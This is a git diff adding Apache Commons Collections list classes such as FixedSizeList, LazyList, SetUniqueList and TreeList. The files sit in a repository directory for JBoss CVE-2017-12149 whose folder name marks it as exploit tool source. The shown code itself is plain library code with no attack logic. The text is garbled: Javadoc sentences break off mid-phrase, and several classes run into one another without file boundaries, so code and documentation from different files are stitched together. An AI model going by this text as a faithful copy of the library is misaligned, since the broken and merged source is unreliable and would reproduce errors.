+ * If the underlying list is modified while iterating using this iterator
+ * a ConcurrentModificationException will occur.
+ * The cursor behaviour is available via {@link #listIterator()}.
+ *
+ * @return a new iterator that does not support concurrent modification
+ */
+ public Iterator iterator() {
+ return super.listIterator(0);
+ }
+
+ /**
+ * Returns a cursor iterator that allows changes to the underlying list in parallel.
+ *
+ * The cursor enables iteration and list changes to occur in any order without
+ * invalidating the iterator (from one thread). When elements are added to the
+ * list, an event is fired to all active cursors enabling them to adjust to the
+ * change in the list.
+ *
+ * When the "current" (i.e., last returned by {@link ListIterator#next}
+ * or {@link ListIterator#previous}) element of the list is removed,
+ * the cursor automatically adjusts to the change (invalidating the
+ * last returned value such that it cannot be removed).
+ *
+ * @return a new cursor iterator
+ */
+ public ListIterator listIterator() {
+ return cursor(0);
+ }
+
+ /**
+ * Returns a cursor iterator that allows changes to the underlying list in parallel.
+ *
+ * The cursor enables iteration and list changes to occur in any order without
+ * invalidating the iterator (from one thread). When elements are added to the
+ * list, an event is fired to all active cursors enabling them to adjust to the
+ * change in the list.
+ *
+ * When the "current" (i.e., last returned by {@link ListIterator#next}
+ * or {@link ListIterator#previous}) element of the list is removed,
+ * the cursor automatically adjusts to the change (invalidating the
+ * last returned value such that it cannot be removed).
+ *
+ * @param fromIndex the index to start from
+ * @return a new cursor iterator
+ */
+ public ListIterator listIterator(int fromIndex) {
+ return cursor(fromIndex);
+ }
+
+ /**
+ * Returns a {@link Cursor} for iterating through the elements of this list.
+ *
+ * A
+ * The cursor enables iteration and list changes to occur in any order without
+ * invalidating the iterator (from one thread). When elements are added to the
+ * list, an event is fired to all active cursors enabling them to adjust to the
+ * change in the list.
+ *
+ * When the "current" (i.e., last returned by {@link ListIterator#next}
+ * or {@link ListIterator#previous}) element of the list is removed,
+ * the cursor automatically adjusts to the change (invalidating the
+ * last returned value such that it cannot be removed).
+ *
+ * The {@link #listIterator()} method returns the same as this method, and can
+ * be cast to a
+ * A
+ * The cursor enables iteration and list changes to occur in any order without
+ * invalidating the iterator (from one thread). When elements are added to the
+ * list, an event is fired to all active cursors enabling them to adjust to the
+ * change in the list.
+ *
+ * When the "current" (i.e., last returned by {@link ListIterator#next}
+ * or {@link ListIterator#previous}) element of the list is removed,
+ * the cursor automatically adjusts to the change (invalidating the
+ * last returned value such that it cannot be removed).
+ *
+ * The {@link #listIterator(int)} method returns the same as this method, and can
+ * be cast to a
+ * The add, remove, clear and retain operations are unsupported.
+ * The set method is allowed (as it doesn't change the list size).
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.8 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class FixedSizeList
+ extends AbstractSerializableListDecorator
+ implements BoundedCollection {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -2218010673611160319L;
+
+ /**
+ * Factory method to create a fixed size list.
+ *
+ * @param list the list to decorate, must not be null
+ * @throws IllegalArgumentException if list is null
+ */
+ public static List decorate(List list) {
+ return new FixedSizeList(list);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param list the list to decorate, must not be null
+ * @throws IllegalArgumentException if list is null
+ */
+ protected FixedSizeList(List list) {
+ super(list);
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean add(Object object) {
+ throw new UnsupportedOperationException("List is fixed size");
+ }
+
+ public void add(int index, Object object) {
+ throw new UnsupportedOperationException("List is fixed size");
+ }
+
+ public boolean addAll(Collection coll) {
+ throw new UnsupportedOperationException("List is fixed size");
+ }
+
+ public boolean addAll(int index, Collection coll) {
+ throw new UnsupportedOperationException("List is fixed size");
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException("List is fixed size");
+ }
+
+ public Object get(int index) {
+ return getList().get(index);
+ }
+
+ public int indexOf(Object object) {
+ return getList().indexOf(object);
+ }
+
+ public Iterator iterator() {
+ return UnmodifiableIterator.decorate(getCollection().iterator());
+ }
+
+ public int lastIndexOf(Object object) {
+ return getList().lastIndexOf(object);
+ }
+
+ public ListIterator listIterator() {
+ return new FixedSizeListIterator(getList().listIterator(0));
+ }
+
+ public ListIterator listIterator(int index) {
+ return new FixedSizeListIterator(getList().listIterator(index));
+ }
+
+ public Object remove(int index) {
+ throw new UnsupportedOperationException("List is fixed size");
+ }
+
+ public boolean remove(Object object) {
+ throw new UnsupportedOperationException("List is fixed size");
+ }
+
+ public boolean removeAll(Collection coll) {
+ throw new UnsupportedOperationException("List is fixed size");
+ }
+
+ public boolean retainAll(Collection coll) {
+ throw new UnsupportedOperationException("List is fixed size");
+ }
+
+ public Object set(int index, Object object) {
+ return getList().set(index, object);
+ }
+
+ public List subList(int fromIndex, int toIndex) {
+ List sub = getList().subList(fromIndex, toIndex);
+ return new FixedSizeList(sub);
+ }
+
+ /**
+ * List iterator that only permits changes via set()
+ */
+ static class FixedSizeListIterator extends AbstractListIteratorDecorator {
+ protected FixedSizeListIterator(ListIterator iterator) {
+ super(iterator);
+ }
+ public void remove() {
+ throw new UnsupportedOperationException("List is fixed size");
+ }
+ public void add(Object object) {
+ throw new UnsupportedOperationException("List is fixed size");
+ }
+ }
+
+ public boolean isFull() {
+ return true;
+ }
+
+ public int maxSize() {
+ return size();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/LazyList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/LazyList.java"
new file mode 100644
index 0000000..f202065
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/LazyList.java"
@@ -0,0 +1,136 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.util.List;
+
+import org.apache.commons.collections.Factory;
+
+/**
+ * Decorates another
+ * When the {@link #get(int)} method is called with an index greater than
+ * the size of the list, the list will automatically grow in size and return
+ * a new object from the specified factory. The gaps will be filled by null.
+ * If a get method call encounters a null, it will be replaced with a new
+ * object from the factory. Thus this list is unsuitable for storing null
+ * objects.
+ *
+ * For instance:
+ *
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ * @author Arron Bates
+ * @author Paul Jack
+ */
+public class LazyList extends AbstractSerializableListDecorator {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -1708388017160694542L;
+
+ /** The factory to use to lazily instantiate the objects */
+ protected final Factory factory;
+
+ /**
+ * Factory method to create a lazily instantiating list.
+ *
+ * @param list the list to decorate, must not be null
+ * @param factory the factory to use for creation, must not be null
+ * @throws IllegalArgumentException if list or factory is null
+ */
+ public static List decorate(List list, Factory factory) {
+ return new LazyList(list, factory);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param list the list to decorate, must not be null
+ * @param factory the factory to use for creation, must not be null
+ * @throws IllegalArgumentException if list or factory is null
+ */
+ protected LazyList(List list, Factory factory) {
+ super(list);
+ if (factory == null) {
+ throw new IllegalArgumentException("Factory must not be null");
+ }
+ this.factory = factory;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Decorate the get method to perform the lazy behaviour.
+ *
+ * If the requested index is greater than the current size, the list will
+ * grow to the new size and a new object will be returned from the factory.
+ * Indexes in-between the old size and the requested size are left with a
+ * placeholder that is replaced with a factory object when requested.
+ *
+ * @param index the index to retrieve
+ */
+ public Object get(int index) {
+ int size = getList().size();
+ if (index < size) {
+ // within bounds, get the object
+ Object object = getList().get(index);
+ if (object == null) {
+ // item is a place holder, create new one, set and return
+ object = factory.create();
+ getList().set(index, object);
+ return object;
+ } else {
+ // good and ready to go
+ return object;
+ }
+ } else {
+ // we have to grow the list
+ for (int i = size; i < index; i++) {
+ getList().add(null);
+ }
+ // create our last object, set and return
+ Object object = factory.create();
+ getList().add(object);
+ return object;
+ }
+ }
+
+
+ public List subList(int fromIndex, int toIndex) {
+ List sub = getList().subList(fromIndex, toIndex);
+ return new LazyList(sub, factory);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/NodeCachingLinkedList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/NodeCachingLinkedList.java"
new file mode 100644
index 0000000..93b3a05
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/NodeCachingLinkedList.java"
@@ -0,0 +1,246 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+
+/**
+ * A
+ * A linked list creates one Node for each item of data added. This can result in
+ * a lot of object creation and garbage collection. This implementation seeks to
+ * avoid that by maintaining a store of cached nodes.
+ *
+ * This implementation is suitable for long-lived lists where both add and remove
+ * are used. Short-lived lists, or lists which only grow will have worse performance
+ * using this class.
+ *
+ * Note that this implementation is not synchronized.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/04/20 23:46:50 $
+ *
+ * @author Jeff Varszegi
+ * @author Rich Dougherty
+ * @author Phil Steitz
+ * @author Stephen Colebourne
+ */
+public class NodeCachingLinkedList extends AbstractLinkedList implements Serializable {
+
+ /** Serialization version */
+ static final long serialVersionUID = 6897789178562232073L;
+
+ /**
+ * The default value for {@link #maximumCacheSize}.
+ */
+ protected static final int DEFAULT_MAXIMUM_CACHE_SIZE = 20;
+
+ /**
+ * The first cached node, or
+ * This list exists to provide validation for the decorated list.
+ * It is normally created to decorate an empty list.
+ * If an object cannot be added to the list, an IllegalArgumentException is thrown.
+ *
+ * One usage would be to ensure that no null entries are added to the list.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class PredicatedList extends PredicatedCollection implements List {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -5722039223898659102L;
+
+ /**
+ * Factory method to create a predicated (validating) list.
+ *
+ * If there are any elements already in the list being decorated, they
+ * are validated.
+ *
+ * @param list the list to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @throws IllegalArgumentException if list or predicate is null
+ * @throws IllegalArgumentException if the list contains invalid elements
+ */
+ public static List decorate(List list, Predicate predicate) {
+ return new PredicatedList(list, predicate);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the list being decorated, they
+ * are validated.
+ *
+ * @param list the list to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @throws IllegalArgumentException if list or predicate is null
+ * @throws IllegalArgumentException if the list contains invalid elements
+ */
+ protected PredicatedList(List list, Predicate predicate) {
+ super(list, predicate);
+ }
+
+ /**
+ * Gets the list being decorated.
+ *
+ * @return the decorated list
+ */
+ protected List getList() {
+ return (List) getCollection();
+ }
+
+ //-----------------------------------------------------------------------
+ public Object get(int index) {
+ return getList().get(index);
+ }
+
+ public int indexOf(Object object) {
+ return getList().indexOf(object);
+ }
+
+ public int lastIndexOf(Object object) {
+ return getList().lastIndexOf(object);
+ }
+
+ public Object remove(int index) {
+ return getList().remove(index);
+ }
+
+ //-----------------------------------------------------------------------
+ public void add(int index, Object object) {
+ validate(object);
+ getList().add(index, object);
+ }
+
+ public boolean addAll(int index, Collection coll) {
+ for (Iterator it = coll.iterator(); it.hasNext(); ) {
+ validate(it.next());
+ }
+ return getList().addAll(index, coll);
+ }
+
+ public ListIterator listIterator() {
+ return listIterator(0);
+ }
+
+ public ListIterator listIterator(int i) {
+ return new PredicatedListIterator(getList().listIterator(i));
+ }
+
+ public Object set(int index, Object object) {
+ validate(object);
+ return getList().set(index, object);
+ }
+
+ public List subList(int fromIndex, int toIndex) {
+ List sub = getList().subList(fromIndex, toIndex);
+ return new PredicatedList(sub, predicate);
+ }
+
+ /**
+ * Inner class Iterator for the PredicatedList
+ */
+ protected class PredicatedListIterator extends AbstractListIteratorDecorator {
+
+ protected PredicatedListIterator(ListIterator iterator) {
+ super(iterator);
+ }
+
+ public void add(Object object) {
+ validate(object);
+ iterator.add(object);
+ }
+
+ public void set(Object object) {
+ validate(object);
+ iterator.set(object);
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/SetUniqueList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/SetUniqueList.java"
new file mode 100644
index 0000000..483e254
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/SetUniqueList.java"
@@ -0,0 +1,336 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.Set;
+
+import org.apache.commons.collections.iterators.AbstractIteratorDecorator;
+import org.apache.commons.collections.iterators.AbstractListIteratorDecorator;
+import org.apache.commons.collections.set.UnmodifiableSet;
+
+/**
+ * Decorates a
+ * The
+ * The {@link org.apache.commons.collections.set.ListOrderedSet ListOrderedSet}
+ * class provides an alternative approach, by wrapping an existing Set and
+ * retaining insertion order in the iterator.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.8 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Matthew Hawthorne
+ * @author Stephen Colebourne
+ */
+public class SetUniqueList extends AbstractSerializableListDecorator {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 7196982186153478694L;
+
+ /**
+ * Internal Set to maintain uniqueness.
+ */
+ protected final Set set;
+
+ /**
+ * Factory method to create a SetList using the supplied list to retain order.
+ *
+ * If the list contains duplicates, these are removed (first indexed one kept).
+ * A
+ * The set and list must both be correctly initialised to the same elements.
+ *
+ * @param set the set to decorate, must not be null
+ * @param list the list to decorate, must not be null
+ * @throws IllegalArgumentException if set or list is null
+ */
+ protected SetUniqueList(List list, Set set) {
+ super(list);
+ if (set == null) {
+ throw new IllegalArgumentException("Set must not be null");
+ }
+ this.set = set;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an unmodifiable view as a Set.
+ *
+ * @return an unmodifiable set view
+ */
+ public Set asSet() {
+ return UnmodifiableSet.decorate(set);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Adds an element to the list if it is not already present.
+ *
+ * (Violation)
+ * The
+ * (Violation)
+ * The
+ * (Violation)
+ * The
+ * Only elements that are not already in this list will be added, and
+ * duplicates from the specified collection will be ignored.
+ *
+ * (Violation)
+ * The
+ * The object is set into the specified index.
+ * Afterwards, any previous duplicate is removed
+ * If the object is not already in the list then a normal set occurs.
+ * If it is present, then the old version is removed and re-added at this index
+ *
+ * @param index the index to insert at
+ * @param object the object to set
+ * @return the previous object
+ */
+ public Object set(int index, Object object) {
+ int pos = indexOf(object);
+ Object result = super.set(index, object);
+ if (pos == -1 || pos == index) {
+ return result;
+ }
+ return remove(pos);
+ }
+
+ public boolean remove(Object object) {
+ boolean result = super.remove(object);
+ set.remove(object);
+ return result;
+ }
+
+ public Object remove(int index) {
+ Object result = super.remove(index);
+ set.remove(result);
+ return result;
+ }
+
+ public boolean removeAll(Collection coll) {
+ boolean result = super.removeAll(coll);
+ set.removeAll(coll);
+ return result;
+ }
+
+ public boolean retainAll(Collection coll) {
+ boolean result = super.retainAll(coll);
+ set.retainAll(coll);
+ return result;
+ }
+
+ public void clear() {
+ super.clear();
+ set.clear();
+ }
+
+ public boolean contains(Object object) {
+ return set.contains(object);
+ }
+
+ public boolean containsAll(Collection coll) {
+ return set.containsAll(coll);
+ }
+
+ public Iterator iterator() {
+ return new SetListIterator(super.iterator(), set);
+ }
+
+ public ListIterator listIterator() {
+ return new SetListListIterator(super.listIterator(), set);
+ }
+
+ public ListIterator listIterator(int index) {
+ return new SetListListIterator(super.listIterator(index), set);
+ }
+
+ public List subList(int fromIndex, int toIndex) {
+ return new SetUniqueList(super.subList(fromIndex, toIndex), set);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Inner class iterator.
+ */
+ static class SetListIterator extends AbstractIteratorDecorator {
+
+ protected final Set set;
+ protected Object last = null;
+
+ protected SetListIterator(Iterator it, Set set) {
+ super(it);
+ this.set = set;
+ }
+
+ public Object next() {
+ last = super.next();
+ return last;
+ }
+
+ public void remove() {
+ super.remove();
+ set.remove(last);
+ last = null;
+ }
+ }
+
+ /**
+ * Inner class iterator.
+ */
+ static class SetListListIterator extends AbstractListIteratorDecorator {
+
+ protected final Set set;
+ protected Object last = null;
+
+ protected SetListListIterator(ListIterator it, Set set) {
+ super(it);
+ this.set = set;
+ }
+
+ public Object next() {
+ last = super.next();
+ return last;
+ }
+
+ public Object previous() {
+ last = super.previous();
+ return last;
+ }
+
+ public void remove() {
+ super.remove();
+ set.remove(last);
+ last = null;
+ }
+
+ public void add(Object object) {
+ if (set.contains(object) == false) {
+ super.add(object);
+ set.add(object);
+ }
+ }
+
+ public void set(Object object) {
+ throw new UnsupportedOperationException("ListIterator does not support set");
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/SynchronizedList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/SynchronizedList.java"
new file mode 100644
index 0000000..5e61eaf
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/SynchronizedList.java"
@@ -0,0 +1,163 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.util.Collection;
+import java.util.List;
+import java.util.ListIterator;
+
+import org.apache.commons.collections.collection.SynchronizedCollection;
+
+/**
+ * Decorates another
+ * Methods are synchronized, then forwarded to the decorated list.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public class SynchronizedList extends SynchronizedCollection implements List {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -1403835447328619437L;
+
+ /**
+ * Factory method to create a synchronized list.
+ *
+ * @param list the list to decorate, must not be null
+ * @throws IllegalArgumentException if list is null
+ */
+ public static List decorate(List list) {
+ return new SynchronizedList(list);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param list the list to decorate, must not be null
+ * @throws IllegalArgumentException if list is null
+ */
+ protected SynchronizedList(List list) {
+ super(list);
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param list the list to decorate, must not be null
+ * @param lock the lock to use, must not be null
+ * @throws IllegalArgumentException if list is null
+ */
+ protected SynchronizedList(List list, Object lock) {
+ super(list, lock);
+ }
+
+ /**
+ * Gets the decorated list.
+ *
+ * @return the decorated list
+ */
+ protected List getList() {
+ return (List) collection;
+ }
+
+ //-----------------------------------------------------------------------
+ public void add(int index, Object object) {
+ synchronized (lock) {
+ getList().add(index, object);
+ }
+ }
+
+ public boolean addAll(int index, Collection coll) {
+ synchronized (lock) {
+ return getList().addAll(index, coll);
+ }
+ }
+
+ public Object get(int index) {
+ synchronized (lock) {
+ return getList().get(index);
+ }
+ }
+
+ public int indexOf(Object object) {
+ synchronized (lock) {
+ return getList().indexOf(object);
+ }
+ }
+
+ public int lastIndexOf(Object object) {
+ synchronized (lock) {
+ return getList().lastIndexOf(object);
+ }
+ }
+
+ /**
+ * Iterators must be manually synchronized.
+ *
+ * The add and set methods are affected by this class.
+ * Thus objects must be removed or searched for using their transformed form.
+ * For example, if the transformation converts Strings to Integers, you must
+ * use the Integer form to remove objects.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public class TransformedList extends TransformedCollection implements List {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 1077193035000013141L;
+
+ /**
+ * Factory method to create a transforming list.
+ *
+ * If there are any elements already in the list being decorated, they
+ * are NOT transformed.
+ *
+ * @param list the list to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @throws IllegalArgumentException if list or transformer is null
+ */
+ public static List decorate(List list, Transformer transformer) {
+ return new TransformedList(list, transformer);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the list being decorated, they
+ * are NOT transformed.
+ *
+ * @param list the list to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @throws IllegalArgumentException if list or transformer is null
+ */
+ protected TransformedList(List list, Transformer transformer) {
+ super(list, transformer);
+ }
+
+ /**
+ * Gets the decorated list.
+ *
+ * @return the decorated list
+ */
+ protected List getList() {
+ return (List) collection;
+ }
+
+ //-----------------------------------------------------------------------
+ public Object get(int index) {
+ return getList().get(index);
+ }
+
+ public int indexOf(Object object) {
+ return getList().indexOf(object);
+ }
+
+ public int lastIndexOf(Object object) {
+ return getList().lastIndexOf(object);
+ }
+
+ public Object remove(int index) {
+ return getList().remove(index);
+ }
+
+ //-----------------------------------------------------------------------
+ public void add(int index, Object object) {
+ object = transform(object);
+ getList().add(index, object);
+ }
+
+ public boolean addAll(int index, Collection coll) {
+ coll = transform(coll);
+ return getList().addAll(index, coll);
+ }
+
+ public ListIterator listIterator() {
+ return listIterator(0);
+ }
+
+ public ListIterator listIterator(int i) {
+ return new TransformedListIterator(getList().listIterator(i));
+ }
+
+ public Object set(int index, Object object) {
+ object = transform(object);
+ return getList().set(index, object);
+ }
+
+ public List subList(int fromIndex, int toIndex) {
+ List sub = getList().subList(fromIndex, toIndex);
+ return new TransformedList(sub, transformer);
+ }
+
+ /**
+ * Inner class Iterator for the TransformedList
+ */
+ protected class TransformedListIterator extends AbstractListIteratorDecorator {
+
+ protected TransformedListIterator(ListIterator iterator) {
+ super(iterator);
+ }
+
+ public void add(Object object) {
+ object = transform(object);
+ iterator.add(object);
+ }
+
+ public void set(Object object) {
+ object = transform(object);
+ iterator.set(object);
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TreeList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TreeList.java"
new file mode 100644
index 0000000..abbfc08
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TreeList.java"
@@ -0,0 +1,885 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.util.AbstractList;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.ListIterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.OrderedIterator;
+
+/**
+ * A
+ * This list implementation utilises a tree structure internally to ensure that
+ * all insertions and removals are O(log n). This provides much faster performance
+ * than both an
+ * The following relative performance statistics are indicative of this class:
+ *
+ *
+ * This node contains the real work.
+ * TreeList is just there to implement {@link java.util.List}.
+ * The nodes don't know the index of the object they are holding. They
+ * do know however their position relative to their parent node.
+ * This allows to calculate the index of a node while traversing the tree.
+ *
+ * The Faedelung calculation stores a flag for both the left and right child
+ * to indicate if they are a child (false) or a link as in linked list (true).
+ */
+ static class AVLNode {
+ /** The left child node or the predecessor if {@link #leftIsPrevious}.*/
+ private AVLNode left;
+ /** Flag indicating that left reference is not a subtree but the predecessor. */
+ private boolean leftIsPrevious;
+ /** The right child node or the successor if {@link #rightIsNext}. */
+ private AVLNode right;
+ /** Flag indicating that right reference is not a subtree but the successor. */
+ private boolean rightIsNext;
+ /** How many levels of left/right are below this one. */
+ private int height;
+ /** The relative position, root holds absolute position. */
+ private int relativePosition;
+ /** The stored element. */
+ private Object value;
+
+ /**
+ * Constructs a new node with a relative position.
+ *
+ * @param relativePosition the relative position of the node
+ * @param obj the value for the ndoe
+ * @param rightFollower the node with the value following this one
+ * @param leftFollower the node with the value leading this one
+ */
+ private AVLNode(int relativePosition, Object obj, AVLNode rightFollower, AVLNode leftFollower) {
+ this.relativePosition = relativePosition;
+ value = obj;
+ rightIsNext = true;
+ leftIsPrevious = true;
+ right = rightFollower;
+ left = leftFollower;
+ }
+
+ /**
+ * Gets the value.
+ *
+ * @return the value of this node
+ */
+ Object getValue() {
+ return value;
+ }
+
+ /**
+ * Sets the value.
+ *
+ * @param obj the value to store
+ */
+ void setValue(Object obj) {
+ this.value = obj;
+ }
+
+ /**
+ * Locate the element with the given index relative to the
+ * offset of the parent of this node.
+ */
+ AVLNode get(int index) {
+ int indexRelativeToMe = index - relativePosition;
+
+ if (indexRelativeToMe == 0) {
+ return this;
+ }
+
+ AVLNode nextNode = ((indexRelativeToMe < 0) ? getLeftSubTree() : getRightSubTree());
+ if (nextNode == null) {
+ return null;
+ }
+ return nextNode.get(indexRelativeToMe);
+ }
+
+ /**
+ * Locate the index that contains the specified object.
+ */
+ int indexOf(Object object, int index) {
+ if (getLeftSubTree() != null) {
+ int result = left.indexOf(object, index + left.relativePosition);
+ if (result != -1) {
+ return result;
+ }
+ }
+ if (value == null ? value == object : value.equals(object)) {
+ return index;
+ }
+ if (getRightSubTree() != null) {
+ return right.indexOf(object, index + right.relativePosition);
+ }
+ return -1;
+ }
+
+ /**
+ * Stores the node and its children into the array specified.
+ *
+ * @param array the array to be filled
+ * @param index the index of this node
+ */
+ void toArray(Object[] array, int index) {
+ array[index] = value;
+ if (getLeftSubTree() != null) {
+ left.toArray(array, index + left.relativePosition);
+ }
+ if (getRightSubTree() != null) {
